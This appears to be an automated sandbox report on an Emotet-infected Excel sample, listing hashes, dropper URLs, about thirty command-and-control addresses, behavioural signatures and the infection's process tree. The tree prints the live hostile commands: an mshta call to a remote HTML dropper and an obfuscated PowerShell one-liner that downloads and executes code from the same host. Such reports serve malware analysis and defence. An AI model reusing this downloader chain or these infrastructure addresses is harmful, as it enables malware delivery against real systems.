emotet | 32319f7bf7d6ceb858137df3df9f4ccd50cd09d58dcee606b7ad8c0cc5e019f8

Analysis

max time kernel
123s
max time network
135s
platform
windows10_x64
resource
win10-en-20211208
submitted
27/01/2022, 19:01

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General

Target
tmpup5rqbys.xls
Size 155KB
Sample220127-xn75sshcal
SHA256 32319f7bf7d6ceb858137df3df9f4ccd50cd09d58dcee606b7ad8c0cc5e019f8
MD5 c1efc0077db8cb30ac238fba490a0f37
SHA1 e8ac99d83536c440c4fffd619a8bd954169cb090
SHA512 5fd01be7d2b2189bd8abf31d9d98824945916d485b853dcd45f9cc9e7dc1e7356830dcbbe3f04e725bedeaa7d58899e334b2c8b3339387585023e770862f239a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3984	2672	cmd.exe	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 7 IoCs

flow	pid	Process
32	2264	mshta.exe
35	2560	powershell.exe
37	2560	powershell.exe
39	2560	powershell.exe
42	2560	powershell.exe
45	1408	rundll32.exe
47	1408	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
1412	rundll32.exe
1712	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Dwwzqmzwojqb\jcshaxtdhrxwzix.rsc	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1804	2264	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2672	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
1804	WerFault.exe
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
1408	rundll32.exe
1408	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	WerFault.exe
Token: SeDebugPrivilege	2560	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE
2672	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 3984	2672	EXCEL.EXE	72
PID 2672 wrote to memory of 3984	2672	EXCEL.EXE	72
PID 3984 wrote to memory of 2264	3984	cmd.exe	74
PID 3984 wrote to memory of 2264	3984	cmd.exe	74
PID 2264 wrote to memory of 2560	2264	mshta.exe	76
PID 2264 wrote to memory of 2560	2264	mshta.exe	76
PID 2560 wrote to memory of 2348	2560	powershell.exe	79
PID 2560 wrote to memory of 2348	2560	powershell.exe	79
PID 2348 wrote to memory of 1412	2348	cmd.exe	80
PID 2348 wrote to memory of 1412	2348	cmd.exe	80
PID 2348 wrote to memory of 1412	2348	cmd.exe	80
PID 1412 wrote to memory of 1712	1412	rundll32.exe	81
PID 1412 wrote to memory of 1712	1412	rundll32.exe	81
PID 1412 wrote to memory of 1712	1412	rundll32.exe	81
PID 1712 wrote to memory of 3532	1712	rundll32.exe	82
PID 1712 wrote to memory of 3532	1712	rundll32.exe	82
PID 1712 wrote to memory of 3532	1712	rundll32.exe	82
PID 3532 wrote to memory of 1408	3532	rundll32.exe	83
PID 3532 wrote to memory of 1408	3532	rundll32.exe	83
PID 3532 wrote to memory of 1408	3532	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpup5rqbys.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qqqw/aaas/se.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2560
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2348
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1412
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1712
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Dwwzqmzwojqb\jcshaxtdhrxwzix.rsc",Pric
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3532
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Dwwzqmzwojqb\jcshaxtdhrxwzix.rsc",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1408
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2264 -s 1924
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1408-627-0x0000000005110000-0x0000000005137000-memory.dmp

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memory/1408-625-0x0000000003370000-0x0000000003397000-memory.dmp

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memory/1412-599-0x0000000004A70000-0x0000000004A97000-memory.dmp

Download

memory/1712-611-0x00000000056E0000-0x0000000005707000-memory.dmp

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memory/1712-621-0x0000000005890000-0x00000000058B7000-memory.dmp

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memory/1712-609-0x0000000005680000-0x00000000056A7000-memory.dmp

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memory/1712-607-0x0000000005580000-0x00000000055A7000-memory.dmp

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memory/1712-605-0x00000000054A0000-0x00000000054C7000-memory.dmp

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memory/1712-602-0x0000000004E60000-0x0000000004E87000-memory.dmp

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memory/2560-329-0x00000221F04E0000-0x00000221F051C000-memory.dmp

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memory/2560-279-0x00000221D77B0000-0x00000221D7860000-memory.dmp

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memory/2560-277-0x00000221EFEE0000-0x00000221EFF02000-memory.dmp

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memory/2560-281-0x00000221D77B0000-0x00000221D7860000-memory.dmp

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memory/2560-585-0x00000221D77B0000-0x00000221D7860000-memory.dmp

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memory/2560-356-0x00000221F05A0000-0x00000221F0616000-memory.dmp

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memory/2672-121-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-122-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-131-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

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memory/2672-118-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-132-0x00007FFEEC6D0000-0x00007FFEEC6E0000-memory.dmp

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memory/2672-120-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-119-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-658-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-659-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-660-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/2672-661-0x00007FFEEF820000-0x00007FFEEF830000-memory.dmp

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memory/3532-622-0x00000000046C0000-0x00000000046E7000-memory.dmp

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